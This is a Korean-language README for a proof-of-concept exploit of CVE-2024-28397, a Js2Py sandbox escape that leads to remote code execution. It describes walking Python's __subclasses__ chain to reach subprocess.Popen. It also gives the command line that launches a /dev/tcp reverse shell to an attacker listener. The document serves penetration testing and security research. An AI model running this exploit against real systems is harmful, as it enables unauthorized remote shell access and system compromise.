
이 저장소는 js2py 라이브러리의 취약점인 CVE-2024-28397에 대한 개념 증명(PoC)을 포함하며, 이는 샌드박스 탈출을 통해 원격 코드 실행을 달성할 수 있도록 합니다.
설명
이 저장소는 Python용 Js2Py JavaScript 인터프리터의 샌드박스 탈출 취약점인 CVE-2024-28397에 대한 Python 기반 PoC(Proof of Concept)를 포함합니다.
대상 애플리케이션이 Js2Py를 통해 신뢰할 수 없는 JS 코드를 평가할 때, 공격자는 샌드박스를 벗어나 임의의 Python 코드를 실행할 수 있습니다. 이를 이용해 취약한 시스템에서 원격 코드 실행(RCE) 및 리버스 셸을 획득할 수 있습니다.
본 익스플로잇은 Marven11의 CVE-2024-28397-js2py-Sandbox-Escape 프로젝트에서 영감을 받았습니다.
면책 조항
이 스크립트는 교육 목적 및 허가된 침투 테스트 용도로만 제공됩니다. 귀하가 소유하지 않거나 명시적 테스트 허가를 받지 않은 시스템에 대해 이 스크립트를 무단으로 사용하는 것은 불법이며 비윤리적입니다. 저자는 이 스크립트의 오용이나 이로 인한 손해에 대해 책임을 지지 않습니다.
취약점 정보
__class__.__base__.__subclasses__를 통해 Python 객체 모델에 무제한 접근하여 임의 코드 실행 유발기능
요구 사항
requests 모듈 (pip install requests)/dev/tcp 리버스 셸용)사용법
python3 exploit.py --target http://example.htb --lhost 10.10.14.51 --lport 4444
--target: 취약한 웹 앱 엔드포인트의 전체 URL--lhost: 로컬 IP 주소 (리버스 셸 수신용)--lport: 셸을 수신할 로컬 포트작동 방식
__class__.__base__.__subclasses__()를 이용해 Python 객체 트리를 탐색하여 subprocess.Popen을 찾습니다.Popen을 사용해 셸을 디코딩하고 실행합니다.